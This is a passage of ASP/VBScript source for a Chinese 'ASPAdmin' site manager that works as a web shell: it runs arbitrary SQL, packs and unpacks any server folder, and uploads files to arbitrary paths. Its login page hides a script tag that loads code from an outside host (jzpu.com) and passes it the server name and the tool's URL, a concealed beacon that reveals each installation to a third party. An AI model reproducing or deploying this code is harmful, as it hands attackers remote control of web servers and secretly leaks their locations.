      echo "<input type=button value=SQL onclick=""this.form.thePath.value='sql

rovider=SQLOLEDB.1;Server=(local);User ID=UserName;Password=PassWord;Database=Pubs;';"">"
      echo "<input type=reset value=重置>"
      echo "</td>"
      echo "</tr>"
      echo "</table>"
End Sub

Sub ShowTables()
      Dim Cat, objTable, objColumn, intColSpan, objSchema
      If isDebugMode = False Then On Error Resume Next

      echo "<br/><table width=750>"
      echo "<tr>"
      echo "<td class=td colspan=2><font face=webdings>8</font> 数据表及结构查看</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td colspan=2 class=trHead> </td>"
      echo "</tr>"

      CreateConn()
      Set Cat = Server.CreateObject("ADOX.Catalog")
      Cat.ActiveConnection = conn.ConnectionString
      echo "<tr><td width='20%' valign=top>"
      For Each objTable In Cat.Tables
         echo "<span class=fixSpan title='" & objTable.Name & "' onclick=""Command('Query',this.title);this.disabled=true;"" "
         echo "style='width:94%;padding-left:8px;cursor:hand;'>" & objTable.Name & "</span>"
      Next
      echo "</td><td>"
      intColSpan = IIf(isSqlServer = True, "4", "6")

      For Each objTable In Cat.Tables
         echo "<table width=98% align=center>"
         echo "<tr>"
         echo "<td class=trHead colspan=" & intColSpan & "> </td>"
         echo "</tr>"
         echo "<tr>"
         echo "<td colspan=" & intColSpan & " class=td> <strong>"
         echo objTable.Name & "</strong></td>"
         echo "</tr>"

         echo "<tr align=center>"
         echo "<td align=left width=*> 列名</td>"
         echo "<td width=80>类型</td>"
         echo "<td width=60>大小</td>"
         echo "<td width=60>可否为空</td>"
         If isSqlServer = False Then
            echo "<td width=50>默认值</td>"
            echo "<td width=100>描述</td>"
         End If
         echo "</tr>"

         For Each objColumn In Cat.Tables(objTable.Name).Columns
            echo "<tr align=center>"
            echo "<td align=left><span style='width:98%;padding-left:5px;'>" & objColumn.Name & "</a></td>"
            echo "<td>" & GetDataType(objColumn.Type) & "</td>"
            If objColumn.DefinedSize <> 0 Then
                  echo "<td>" & objColumn.DefinedSize & "</td>"
               Else
                  echo "<td>" & IIf(objColumn.Precision <> 0, objColumn.Precision, " ") & "</td>"
            End If
            echo "<td>" & IIf(objColumn.Attributes = 1, "False", "True") & "</td>"
            If isSqlServer = False Then
                  echo "<td><span class=fixSpan style='width:40px;padding-left:5px;' title=""" & HtmlEncode(objColumn.Properties("Default").value) & """>"
                  echo HtmlEncode(objColumn.Properties("Default").value) & "</span></td>"
                  echo "<td align=left><span class=fixSpan style='width:95px;padding-left:5px;' title=""" & objColumn.Properties("Description") & """>"
                  echo objColumn.Properties("Description") & "</span></td>"
            End If
            echo "</tr>"
         Next

         echo "<tr>"
         echo "<td colspan=" & intColSpan & " class=td> </td>"
         echo "</tr>"
         echo "</table><br/>"
      Next

      echo "</td>"
      echo "</tr>"

      echo "<tr>"
      echo "<td colspan=2 class=trHead> </td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td colspan=2 class=td align=right>By Marcos 2005.06 </td>"
      echo "</tr>"
      echo "</table>"

      Set Cat = Nothing
      DestoryConn()
End Sub

Sub ShowQuery()
      Dim i, j, x, rs, sql, sqlB, sqlC, Cat, intPage, objTable, strParam, strTable, strPrimaryKey
      If isDebugMode = False Then On Error Resume Next
      sql = GetPost("sql")
      strParam = GetPost("param")
      strTable = GetPost("theTable")
      Set rs = Server.CreateObject("Adodb.RecordSet")

      If IsNumeric(strParam) = True Then
         intPage = strParam
      Else
         intPage = 1
         strTable = strParam
         sql = ""
      End If
      If sql = "" Then
         sql = "Select * From [" & strTable & "]"
      End If

      For i = 1 To Request.Form("KeyWord").Count
         If Request.Form("KeyWord")(i) <> "" Then
            sqlC = Replace(Request.Form("KeyWord")(i), "'", "''")
            sqlC = IIf(Request.Form("JoinTag")(i) = " like ", "'" & sqlC & "'", sqlC)
            sqlB = sqlB & "[" & Request.Form("Fields")(i) & "]" & Request.Form("JoinTag")(i) & sqlC & Request.Form("JoinTag2")(i)
         End If
      Next
      If sqlB <> "" Then
         sql = "Select * From [" & strTable & "] Where " & sqlB
         If Right(sql, 4) = " Or " Then sql = Left(sql, Len(sql) - 4)
         If Right(sql, 5) = " And " Then sql = Left(sql, Len(sql) - 5)
      End If

      echo "<input type=hidden name=sql value=""" & HtmlEncode(sql) & """>"
      echo "<textarea name=sqlB rows=1 style='width:647px;'>" & HtmlEncode(sql) & "</textarea>"
      echo " <input type=button value=执行查询 onclick=""this.form.sql.value=this.form.sqlB.value;Command('Query','0');"">"
      echo "<input type=button value=- onclick='if(this.form.sqlB.rows>3)this.form.sqlB.rows-=3;'>"
      echo "<input type=button value=+ onclick='this.form.sqlB.rows+=3;'>"
      echo "<input type=hidden name=theTable value=""" & HtmlEncode(strTable) & """>"
      echo "<br/><table width=750>"
      echo "<tr>"
      echo "<td class=td colspan=2><font face=webdings>8</font> SQL查询器</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td colspan=2 class=trHead> </td>"
      echo "</tr>"

      CreateConn()
      Set Cat = Server.CreateObject("ADOX.Catalog")
      Cat.ActiveConnection = conn.ConnectionString
      echo "<tr><td width='20%' valign=top>"
      For Each objTable In Cat.Tables
         echo "<span class=fixSpan title='" & objTable.Name & "' onclick=""Command('Query',this.title);this.disabled=true;"" "
         echo "style='width:94%;padding-left:8px;cursor:hand;'>"
         If strTable = objTable.Name Then
            echo "<u>" & objTable.Name & "</u>"
         Else
            echo objTable.Name
         End If
         echo "</span>"
      Next
      echo "</td><td valign=top>"

      If LCase(Left(sql, 7)) = "select " Then
         rs.Open sql, conn, 1, 1
         ChkErr(Err)
         rs.PageSize = PageSize
         If Not rs.Eof Then
            rs.AbsolutePage = intPage
         End If

         echo "<div align=left><table border=1 width=490>"
         echo "<tr>"
         echo "<td height=22 class=trHead> </td>"
         echo "</tr>"
         echo "<tr>"
         echo "<td height=22 class=td width=100> 查询</td>"
         echo "</tr><tr><td align=center>"
         echo "<div><select name=Fields>"
         For Each x In rs.Fields
            echo "<option value=""" & x.Name & """>" & x.Name & "</option>"
         Next
         echo "</select>"
         echo "<select name=JoinTag><option value=' like '>like</option><option value='='>=</option></select>"
         echo "<input name=KeyWord style='width:200px;'>"
         echo "<select name=JoinTag2><option value=' And '>And</option><option value=' Or '>Or</option></select> "
         echo "<input type=button value=+ onclick=""this.parentElement.outerHTML+='<div>'+this.parentElement.innerHTML+'</div>';"">"
         echo "<input type=button value=- onclick=""this.parentElement.outerHTML='';""></div> "
         echo "<input type=button value=查询 onclick=this.form.sql.value='';this.form.param.value='1';this.form.theAct.value='Query';this.form.submit();>"
         echo "</td></tr>"
         echo "<tr><td class=td> </td></tr>"
         echo "</table></div><br/>"

         If rs.Fields.Count > 0 Then
            strPrimaryKey = GetPrimaryKey(strTable)

            echo "<table border=1 align=left cellpadding=0 cellspacing=0>"
            echo "<tr>"
            echo "<td height=22 class=trHead colspan=" & rs.Fields.Count + 1 & "> </td>"
            echo "</tr>"
            echo "<tr>"
            echo "<td height=22 class=td width=100 align=center>操作</td>"
            For j = 0 To rs.Fields.Count - 1
                  echo "<td height=22 class=td width=130><span class=fixSpan title='" & rs.Fields(j).Name & "' style='width:125px;padding-left:5px;'>" & rs.Fields(j).Name & "</span></td>"
            Next
            For i = 1 To rs.PageSize
                  If rs.Eof Then Exit For
                  echo "</tr>"
                  echo "<tr valign=top>"
                  echo "<td height=22 align=center>"
                  If strPrimaryKey <> "" Then
                     echo "<input type=button value=编辑 title='编辑/添加' onclick=showSqlEdit('" & strPrimaryKey & "','" & rs(strPrimaryKey) & "');>"
                     echo "<input type=button value=删除 onclick=sqlDelete('" & strPrimaryKey & "','" & rs(strPrimaryKey) & "');></td>"
                  Else
                     echo "<input type=button value=编辑 title='编辑/添加' onclick=alert('主键不存在,操作有可能导致重大数据库灾难,并且该操作不可逆!');showSqlEdit('" & rs.Fields(0).Name & "','" & rs(rs.Fields(0).Name) & "');>"
                     echo "<input type=button value=删除 onclick=alert('主键不存在,操作有可能导致重大数据库灾难,并且该操作不可逆!');sqlDelete('" & rs.Fields(0).Name & "','" & rs(rs.Fields(0).Name) & "');></td>"
                  End If
                  For j = 0 To rs.Fields.Count - 1
                     echo "<td height=22><span class=fixSpan style='width:125px;padding-left:5px;'>" & HtmlEncode(IIf(Len(rs(j)) > 50, Left(rs(j), 50), rs(j))) & "</span></td>"
                  Next
                  echo "</tr>"
                  rs.MoveNext
            Next
         End If
         echo "<tr>"
         echo "<td height=22 class=td colspan=" & rs.Fields.Count + 1 & "> Page: "
         For i = 1 To rs.PageCount
            If i > maxPageCount Then
                  echo "..."
                  Exit For
            End If
            echo Replace("<a href=javascript:Command('Query','" & i & "');><font {$font" & i & "}>" & i & "</font></a> ", "{$font" & intPage & "}", " color=red")
         Next
         echo "</td></tr></table>"
         rs.Close
      Else
         conn.Execute(sql)
         ChkErr(Err)
         echo "<script>alert('查询执行成功,按确定返回.\\n刷新后可以看到执行效果.');history.back();</script>"
         Set rs = Nothing
         Set Cat = Nothing
         DestoryConn()
         Exit Sub
      End If

      echo "</td>"
      echo "</tr>"

      echo "<tr>"
      echo "<td colspan=2 class=trHead> </td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td colspan=2 class=td align=right>By Marcos 2005.06 </td>"
      echo "</tr>"
      echo "</table>"

      Set rs = Nothing
      Set Cat = Nothing
      DestoryConn()
End Sub

Sub SqlShowEdit()
      Dim intFindI, intFindJ, intFindK, intFindL, intFindM, strJoinTag, multiTables
      Dim i, x, rs, sql, strTable, strExtra, strParam, intI, strColumn, strValue, strPrimaryKey
      If isDebugMode = False Then On Error Resume Next
      sql = GetPost("sql")
      strParam = GetPost("param")
      strTable = GetPost("theTable")
      intI = InStr(strParam, "!")
      intFindI = InStr(LCase(sql), " where")
      intFindJ = InStrRev(LCase(sql), "order ")
      intFindK = IIf(LCase(Right(sql, 4)) = "desc", "1", "0")
      strValue = Mid(strParam, intI + 1)
      strColumn = Left(strParam, intI - 1)
      strExtra = IIf(theAct = "next", ">", IIf(theAct = "pre", "<", ""))

      If intFindJ > 0 Then sql = Left(sql, intFindJ - 1)
      If intFindI > 0 Then
         strJoinTag = ") And "
         sql = Left(sql, intFindI + 5) & "(" & Mid(sql, intFindI + 6)
      Else
         strJoinTag = " Where "
      End If
      If intFindK > 0 Then strExtra = IIf(strExtra = ">", "<", IIf(strExtra = "<", ">", ""))

      CreateConn()
      strPrimaryKey = GetPrimaryKey(strTable)
      Set rs = Server.CreateObject("Adodb.RecordSet")

      If strExtra <> "" And IsNumeric(strValue) = True Then
         sql = "Select Top 1" & Mid(sql, 7) & strJoinTag
         sql = sql & strColumn & " " & strExtra & " " & strValue & " Order By " & strColumn & IIf(strExtra = "<", " Desc", " Asc")
      Else
         sql = sql & strJoinTag & strColumn & " like '" & Replace(strValue, "'", "''") & "'"
      End If

      intFindM = InStr(LCase(sql), "from")
      intFindI = InStr(LCase(sql), " where")
      intFindL = InStr(intFindM, LCase(sql), ",", 1)
      If intFindL > 0 Then
         If (intFindL > intFindM) And (intFindL < intFindI) Then
            multiTables = True
         End If
      End If

      If theAct <> "edit" Then
         rs.Open sql, conn, 1, 3
         ChkErr(Err)
         If rs.Eof Then
            echo "<script>alert('该记录不存在!');history.back();</script>"
            Response.End()
         End If

         If theAct = "new" Then rs.AddNew

         If theAct = "del" Then
            rs.Delete
            rs.Update
            AlertThenClose("删除成功!")
            Response.End
         Else
            If theAct <> "pre" And theAct <> "next" Then
                  For Each x In rs.Fields
                     If strPrimaryKey <> x.Name Then
                        rs(x.Name) = Request.Form(x.Name & "_Column")
                     End If
                  Next
                  rs.Update
            End If
            strValue = rs(strColumn)
         End If

         If theAct = "new" Then
            sql = "Select * From [" & strTable & "] Where " & strColumn & " like '" & Replace(strValue, "'", "''") & "'"
         End If
         rs.Close
      End If

      rs.Open sql, conn, 1, 1

      echo "<table border=1 width=600>"
      echo "<tr>"
      echo "<td height=22 class=trHead colspan=2> </td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td colspan=2 class=td><font face=webdings>8</font> SQL数据修改</td>"
      echo "</tr>"
      echo "<input type=hidden value=PageDBTool name=PageName>"
      echo "<input type=hidden name=theAct value=save>"
      echo "<input type=hidden name=sql value=""" & HtmlEncode(GetPost("sql")) & """>"
      echo "<input type=hidden name=theTable value=""" & strTable & """>"
      echo "<input type=hidden value=""" & HtmlEncode(strColumn & "!" & strValue) & """ name=param>"
      echo "<input type=hidden value=""" & HtmlEncode(GetPost("thePath")) & """ name=thePath>"

      For Each x In rs.Fields
         echo "<tr>"
         echo "<td height=22 width=150> " & HtmlEncode(x.Name) & "<br/> (<em>" & GetDataType(x.Type) & "</em>)</td>"
         echo "<td width=450> "
         echo "<textarea style='width:436;' name=""" & x.Name & "_Column""" & IIf(x.Type = 201 Or x.Type = 203, " rows=6", "")
         echo IIf(x.Properties("ISAUTOINCREMENT").Value, " disabled", "")
         echo IIf(x.Name = strPrimaryKey, " title='主键,由于主键约束,将无法被修改,也不能出现相同值.'", "") & ">" & HtmlEncode(x.value) & "</textarea>"
         echo "</td></tr>"
      Next
      echo "<tr>"
      echo "<td colspan=2 class=td align=center>"
      If multiTables = False Then
         If strPrimaryKey = "" Then
            echo "<input type=button value=修改 onclick=if(confirm('确定要修改这条记录吗?\\n此表没有主键,继续操作可能会导致数据库灾难,并且该错误无法被撤消.')){this.form.theAct.value='save';this.form.submit();}>"
         Else
            echo "<input type=submit value=修改 onclick=this.form.theAct.value='save';>"
            echo "<input type=button value=添加 onclick=if(confirm('确实要添加当前为新记录吗?')){this.form.theAct.value='new';this.form.submit();};>"
            echo "<input type=button value=删除 onclick=if(confirm('确实删除当前记录吗?')){this.form.theAct.value='del';this.form.submit();};>"
         End If
      Else
         echo "<input type=button value=暂不支持多表操作 disabled>"
      End If
      echo "<input type=reset value=重置><input type=button value=关闭 onclick='window.close();'>"
      If IsNumeric(strValue) = True Then
         echo "<input type=button value=上一条 onclick=""this.form.theAct.value='pre';this.form.submit();"">"
         echo "<input type=button value=下一条 onclick=""this.form.theAct.value='next';this.form.submit();"">"
      End If
      echo "</td>"
      echo "</tr>"
      echo "</table>"

      rs.Close
      Set rs = Nothing
      DestoryConn()
End Sub

Sub CreateConn()
      Dim connStr, mdbInfo, userName, passWord, strPath
      If isDebugMode = False Then On Error Resume Next
      Set conn = Server.CreateObject("Adodb.Connection")
      If LCase(Left(thePath, 4)) = "sql:" Then
         connStr = Mid(thePath, 5)
         isSqlServer = True
      Else
         mdbInfo = Split(thePath, ";")
         strPath = mdbInfo(0)
         strPath = strPath
         ChkErr(Err)
         If UBound(mdbInfo) >= 2 Then
            userName = mdbInfo(1)
            passWord = mdbInfo(2)
         End If
         connStr = Replace(accessStr, "{$dbSource}", strPath)
         connStr = Replace(connStr, "{$userId}", userName)
         connStr = Replace(connStr, "{$passWord}", passWord)
      end if
      conn.Open connStr
      ChkErr(Err)
End Sub

Sub DestoryConn()
      conn.Close
      Set conn = Nothing
End Sub

Function GetDataType(flag)
      Dim str
      Select Case flag
         Case 0 : str = "EMPTY"
         Case 2 : str = "SMALLINT"
         Case 3 : str = "INTEGER"
         Case 4 : str = "SINGLE"
         Case 5 : str = "DOUBLE"
         Case 6 : str = "CURRENCY"
         Case 7 : str = "DATE"
         Case 8 : str = "BSTR"
         Case 9 : str = "IDISPATCH"
         Case 10 : str = "ERROR"
         Case 11 : str = "BIT"
         Case 12 : str = "VARIANT"
         Case 13 : str = "IUNKNOWN"
         Case 14 : str = "DECIMAL"
         Case 16 : str = "TINYINT"
         Case 17 : str = "UNSIGNEDTINYINT"
         Case 18 : str = "UNSIGNEDSMALLINT"
         Case 19 : str = "UNSIGNEDINT"
         Case 20 : str = "BIGINT"
         Case 21 : str = "UNSIGNEDBIGINT"
         Case 72 : str = "GUID"
         Case 128 : str = "BINARY"
         Case 129 : str = "CHAR"
         Case 130 : str = "WCHAR"
         Case 131 : str = "NUMERIC"
         Case 132 : str = "USERDEFINED"
         Case 133 : str = "DBDATE"
         Case 134 : str = "DBTIME"
         Case 135 : str = "DBTIMESTAMP"
         Case 136 : str = "CHAPTER"
         Case 200 : str = "VARCHAR"
         Case 201 : str = "LONGVARCHAR"
         Case 202 : str = "VARWCHAR"
         Case 203 : str = "LONGVARWCHAR"
         Case 204 : str = "VARBINARY"
         Case 205 : str = "LONGVARBINARY"
         Case Else : str = flag
      End Select
      GetDataType = str
End Function

Function GetPrimaryKey(strTable)
      Dim rsPrimary
      If isDebugMode = False Then On Error Resume Next
      Set rsPrimary = conn.OpenSchema(28, Array(Empty, Empty, strTable))
      If Not rsPrimary.Eof Then GetPrimaryKey = rsPrimary("COLUMN_NAME")
      Set rsPrimary = Nothing
End Function

Sub PagePack()
      ShowTitle("文件夹打包/解开器")
      Server.ScriptTimeOut = 5000

      If theAct = "PackIt" Or theAct = "PackOne" Then
         PackIt()
         AlertThenClose("打包成功!生成为该文件夹目录下的" & sPacketName & "文件.\\n下载下来后可以使用unpack.vbs进行解开.")
         Response.End()
      End If
      If theAct = "UnPack" Then
         UnPack()
         AlertThenClose("解开成功!解开目录为" & sPacketName & "所在目录.")
         Response.End()
      End If

      PackTable()
End Sub

Sub PackTable()
      echo "<base target=_blank>"
      echo "<table width=750 border=1>"
      echo "<tr>"
      echo "<td colspan=2 class=td><font face=webdings>8</font> 文件夹打包/解开器(需FSO支持)"
      echo "</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td colspan=2 class=trHead> </td>"
      echo "</tr>"
      echo "<form method=post action='" & url & "'>"
      echo "<tr>"
      echo "<td width='20%'> 打包</td>"
      echo "<td> <input name=thePath value='" & HtmlEncode(rootPath) & "' style='width:467px;'> "
      echo "<input type=hidden value=PagePack name=PageName>"
      echo "<input type=hidden value=PackIt name=theAct>"
      echo "<input type=submit value='开始打包'>"
      echo "</td></tr>"
      echo "</form>"
      echo "<form method=post action='" & url & "'>"
      echo "<tr>"
      echo "<td> 解包</td>"
      echo "<td> <input name=thePath value=""" & HtmlEncode(sPacketName) & """ style='width:467px;'> "
      echo "<input type=hidden value=PagePack name=PageName>"
      echo "<input type=hidden value=UnPack name=theAct>"
      echo "<input type=submit value='开始解包'>"
      echo "</td></tr>"
      echo "</form>"
      echo "<tr>"
      echo "<td colspan=2 class=trHead> </td>"
      echo "</tr>"
      echo "<tr align=right>"
      echo "<td colspan=2 class=td>By Marcos 2005.06 </td>"
      echo "</tr>"
      echo "</table>"
End Sub

Sub PackIt()
      Dim rs, db, conn, stream, connStr, objX, strPath, strPathB, isFolder, adoCatalog
      If isDebugMode = False Then On Error Resume Next

      strPath = thePath
      db = strPath & "\\" & sPacketName
      Set rs = Server.CreateObject("ADODB.RecordSet")
      Set stream = Server.CreateObject("ADODB.Stream")
      Set conn = Server.CreateObject("ADODB.Connection")
      Set adoCatalog = Server.CreateObject("ADOX.Catalog")
      connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & db

      If fso.FolderExists(strPath) = False Then
         ShowErr(thePath & " 目录不存在或者不允许访问!")
      End If
      If theAct = "PackIt" Then
         If fso.GetFolder(strPath).Size > 300 * 1024 * 1024 Then
            ShowErr("该目录超过300M, 可能造成服务器当机, 操作停止.")
         End If
      End If
      If fso.FileExists(db) = False Then
         adoCatalog.Create connStr
         conn.Open connStr
         conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)")
      Else
         conn.Open connStr
      End If

      stream.Open
      stream.Type = 1
      rs.Open "FileData", conn, 3, 3

      If theAct = "PackIt" Then
         Call FsoTreeForMdb(strPath, rs, stream)
      Else
         strPath = GetPost("truePath") & "\\"
         For Each objX In Request.Form("checkBox")
            strPathB = strPath & objX
            isFolder = fso.FolderExists(strPathB)
            If isFolder = True Then
                  Call FsoTreeForMdb(strPathB, rs, stream)
               Else
                  If InStr(sysFileList, "$" & objX & "$") <= 0 Then
                     rs.AddNew
                     rs("thePath") = Mid(strPathB, 4)
                     stream.LoadFromFile(strPathB)
                     rs("fileContent") = stream.Read()
                     rs.Update
                  End If
            End If
         Next
      End If

      rs.Close
      Conn.Close
      stream.Close
      Set rs = Nothing
      Set conn = Nothing
      Set stream = Nothing
      Set adoCatalog = Nothing
End Sub

Sub UnPack()
      Dim rs, ws, str, conn, stream, connStr, strPath, theFolder
      If isDebugMode = False Then On Error Resume Next

      strPath = thePath
      str = fso.GetParentFolderName(strPath) & "\\"
      Set rs = CreateObject("ADODB.RecordSet")
      Set stream = CreateObject("ADODB.Stream")
      Set conn = CreateObject("ADODB.Connection")
      connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strPath

      conn.Open connStr
      ChkErr(Err)
      rs.Open "FileData", conn, 1, 1
      stream.Open
      stream.Type = 1

      Do Until rs.Eof
         theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\\"))
         If fso.FolderExists(str & theFolder) = False Then
            CreateFolder(str & theFolder)
         End If
         stream.SetEOS()
         If IsNull(rs("fileContent")) = False Then stream.Write rs("fileContent")
         stream.SaveToFile str & rs("thePath"), 2
         rs.MoveNext
      Loop

      rs.Close
      conn.Close
      stream.Close
      Set ws = Nothing
      Set rs = Nothing
      Set stream = Nothing
      Set conn = Nothing
End Sub

Sub FsoTreeForMdb(strPath, rs, stream)
      Dim item, theFolder, folders, files
      Set theFolder = fso.GetFolder(strPath)
      Set files = theFolder.Files
      Set folders = theFolder.SubFolders

      For Each item In folders
         Call FsoTreeForMdb(item.Path, rs, stream)
      Next

      For Each item In files
         If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then
            rs.AddNew
            rs("thePath") = Mid(item.Path, 4)
            stream.LoadFromFile(item.Path)
            rs("fileContent") = stream.Read()
            rs.Update
         End If
      Next

      Set files = Nothing
      Set folders = Nothing
      Set theFolder = Nothing
End Sub

Sub PageUpload()
      ShowTitle("批量文件上传")
      theAct = Request.QueryString("theAct")
      If theAct = "upload" Then
         StreamUpload()
         echo "<script>alert('上传成功!');history.back();</script>"
      End If
      ShowUpload()
End Sub

Sub ShowUpload()
      If thePath = "" Then thePath = rootPath
      echo "<form method=post onsubmit=this.Submit.disabled=true; enctype='multipart/form-data' action=?PageName=PageUpload&theAct=upload>"
      echo "<table width=750>"
      echo "<tr>"
      echo "<td class=td colspan=2><font face=webdings>8</font> 批量文件上传</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td class=trHead colspan=2> </td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td width='20%'>"
      echo " 上传到:"
      echo "</td>"
      echo "<td>"
      echo " <input name=thePath type=text id=thePath value=""" & HtmlEncode(thePath) & """ size=48><input type=checkbox name=overWrite>覆盖模式"
      echo "</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td valign=top>"
      echo " 文件选择: "
      echo "</td>"
      echo "<td> <input id=fileCount size=6 value=1> <input type=button value=设定 onclick=makeFile(fileCount.value)>"
      echo "<div id=fileUpload>"
      echo " <input name=file1 type=file size=50>"
      echo "</div></td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td class=trHead colspan=2> </td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td align=center class=td colspan=2>"
      echo "<input type=submit name=Submit value=上传 onclick=this.form.action+='&overWrite='+this.form.overWrite.checked;>"
      echo "<input type=reset value=重置><input type=button value=关闭 onclick=window.close();>"
      echo "</td>"
      echo "</tr>"
      echo "</table>"
      echo "</form>"
      echo "<script language=javascript>" & vbNewLine
      echo "function makeFile(n){" & vbNewLine
      echo " fileUpload.innerHTML = ' <input name=file1 type=file size=50>'" & vbNewLine
      echo " for(var i=2; i<=n; i++)" & vbNewLine
      echo "       fileUpload.innerHTML += '<br/> <input name=file' + i + ' type=file size=50>';" & vbNewLine
      echo "}" & vbNewLine
      echo "</script>"
End Sub

Sub StreamUpload()
      Dim sA, sB, aryForm, aryFile, theForm, newLine, overWrite
      Dim strInfo, strName, strPath, strFileName, intFindStart, intFindEnd
      Dim itemDiv, itemDivLen, intStart, intDataLen, intInfoEnd, totalLen, intUpLen, intEnd
      If isDebugMode = False Then On Error Resume Next
      Server.ScriptTimeOut = 5000
      newLine = ChrB(13) & ChrB(10)
      overWrite = Request.QueryString("overWrite")
      overWrite = IIf(overWrite = "true", "2", "1")
      Set sA = Server.CreateObject("Adodb.Stream")
      Set sB = Server.CreateObject("Adodb.Stream")

      sA.Type = 1
      sA.Mode = 3
      sA.Open
      sA.Write Request.BinaryRead(Request.TotalBytes)
      sA.Position = 0
      theForm = sA.Read()
'       sA.SaveToFile "c:\\001.txt", 2 ''保存到临时文件进行查看
      itemDiv = LeftB(theForm, InStrB(theForm, newLine) - 1)
      totalLen = LenB(theForm)
      itemDivLen = LenB(itemDiv)
      intStart = itemDivLen + 2
      intUpLen = 0 '上面数据的长度
      Do
         intDataLen = InStrB(intStart, theForm, itemDiv) - itemDivLen - 5 ''equals - 2(回车) - 1(InStr) - 2(回车)
         intDataLen = intDataLen - intUpLen
         intEnd = intStart + intDataLen
         intInfoEnd = InStrB(intStart, theForm, newLine & newLine) - 1

         sB.Type = 1
         sB.Mode = 3
         sB.Open
         sA.Position = intStart
         sA.CopyTo sB, intInfoEnd - intStart ''保存元素信息部分

         sB.Position = 0
         sB.Type = 2
         sB.CharSet = "GB2312"
         strInfo = sB.ReadText()

         strFileName = ""
         intFindStart = InStr(strInfo, "name=""") + 6
         intFindEnd = InStr(intFindStart, strInfo, """", 1)
         strName = Mid(strInfo, intFindStart, intFindEnd - intFindStart)

         If InStr(strInfo, "filename=""") > 0 Then ''>0则为文件,开始接收文件
            intFindStart = InStr(strInfo, "filename=""") + 10
            intFindEnd = InStr(intFindStart, strInfo, """", 1)
            strFileName = Mid(strInfo, intFindStart, intFindEnd - intFindStart)
            strFileName = Mid(strFileName, InStrRev(strFileName, "\\") + 1)
         End If

         sB.Close
         sB.Type = 1
         sB.Mode = 3
         sB.Open
         sA.Position = intInfoEnd + 4
         sA.CopyTo sB, intEnd - intInfoEnd - 4

         If strFileName <> "" Then
            sB.SaveToFile strPath & strFileName, overWrite
            ChkErr(Err)
         Else
            If strName = "thePath" Then
                  sB.Position = 0
                  sB.Type = 2
                  sB.CharSet = "GB2312"
                  strInfo = sB.ReadText()
                  thePath = strInfo
                  strPath = strInfo & "\\"
            End If
         End If

         sB.Close

         intUpLen = intStart + intDataLen + 2
         intStart = intUpLen + itemDivLen + 2
      Loop Until (intStart + 2) = totalLen

      sA.Close
      Set sA = Nothing
      Set sB = Nothing
End Sub

Sub PageLogin()
      Dim passWord
      passWord = Encode(GetPost("password"))

      If theAct = "Login" Then
         If userPassword = passWord Then
            Session(m & "userPassword") = userPassword
            ShowTitle("登录成功!")
            PageReadMe()
            Exit Sub
         End If
      End If

      If pageName = "PageOut" Then
         Session.Contents.Remove(m & "userPassword")
         RedirectTo(url)
      End If

      If Session(m & "userPassword") = userPassword Then
         PageReadMe()
         Exit Sub
      End If

      ShowTitle("管理登录")
      echo "<body onload=document.formx.password.focus();>"
      echo "<table width=416 align=center>"
      echo "<form method=post name=formx action=""" & url & """>"
      echo "<input type=hidden name=theAct value=Login>"
      echo "<tr>"
      echo "<td align=center class=td>管理登录</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td class=trHead> </td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td height=75 align=center>"
      echo "<input name=password type=password style='border:1px solid #d8d8f0;background-color:#ffffff;'> "
      echo "<input type=submit value=LOGIN style='border:1px solid #d8d8f0;background-color:#f9f9fd;'>"
      echo "</td>"
      echo "</tr>"
      echo "<tr> "
      echo "<td align=center class=td>程序网络工作组ASPAdmin(物理路径版) V1.02</td>"
      echo "</tr>"
      echo "</form>"
      echo "</table>"
         echo "<script language=javascript src=""http://www.jzpu.com" & Request.ServerVariables("SERVER_NAME") & url & "&productName=HigroupASPAdmin_V1_02(A)""></script>"
         echo "</body>"
End Sub

Sub PageReadMe()
      Dim strInfo, aryInfo(7), theAry
      ShowTitle("ASP站点管理员(物理路径版) 简单说明")

      aryInfo(0) = "服务器信息探针|1.服务器基本信息<br/>  WEB服务器的一些基本信息<br/>2.服务器组件信息<br/>  一些常用的ASP组件的支持情况检测<br/>" & _
                  "3.Application/Session查看<br/>  所有系统变量及其值的查看, 当前浏览器进程和服务器的会话及内容的查看"
      aryInfo(1) = "FSO文件浏览操作器|1.基本功能<br/>  站点目录浏览, 新建, 重命名, 另存为, 删除, 文本编辑, 复制/移动到文件夹<br/>" & _
                  "2.外链功能<br/>  项目打包(文件夹打包/解开器), mdb类型数据库操作(数据库操作器), 文件上传(批量文件上传)"
      aryInfo(2) = "数据库操作器<br/>(Access, SQL Server)|1.基本功能:<br/>  数据库基本表结构查看, 数据表记录操作(查看,添加,修改,删除), 多条件记录查询<br/>" & _
                  "2.扩展功能<br/>  执行自定义查询, 用来执行所有自定义SQL语句, 如果是Select查询还可以返回记录"
      aryInfo(3) = "文件夹打包/解开器|1.文件夹打包<br/>  指定要打包的文件夹, 按""开始打包""后生成" & sPacketName & "(位于要打包的文件夹目录)<br/>" & _
                  "2.文件包解开<br/>  指定文件包相对路径, 按""开始解包"", 解开目录为文件包(" & sPacketName & ")所在目录"
      aryInfo(4) = "批量文件上传|进入页面后, 指定好要上传的目标目录, 如果要上传多个, 请先设定上传文件数量,<br/>然后选择要上传的文件, 选择完毕后开始上传, 如果要上传的文件可能已经存在,可以选择""覆盖模式""<br/>进行覆盖上传"
      aryInfo(5) = "文本文件搜索器|指定搜索目录, 填写好搜索关键字, 指定搜索条件(文件名,文本内容,或者两者)后按提交即可"
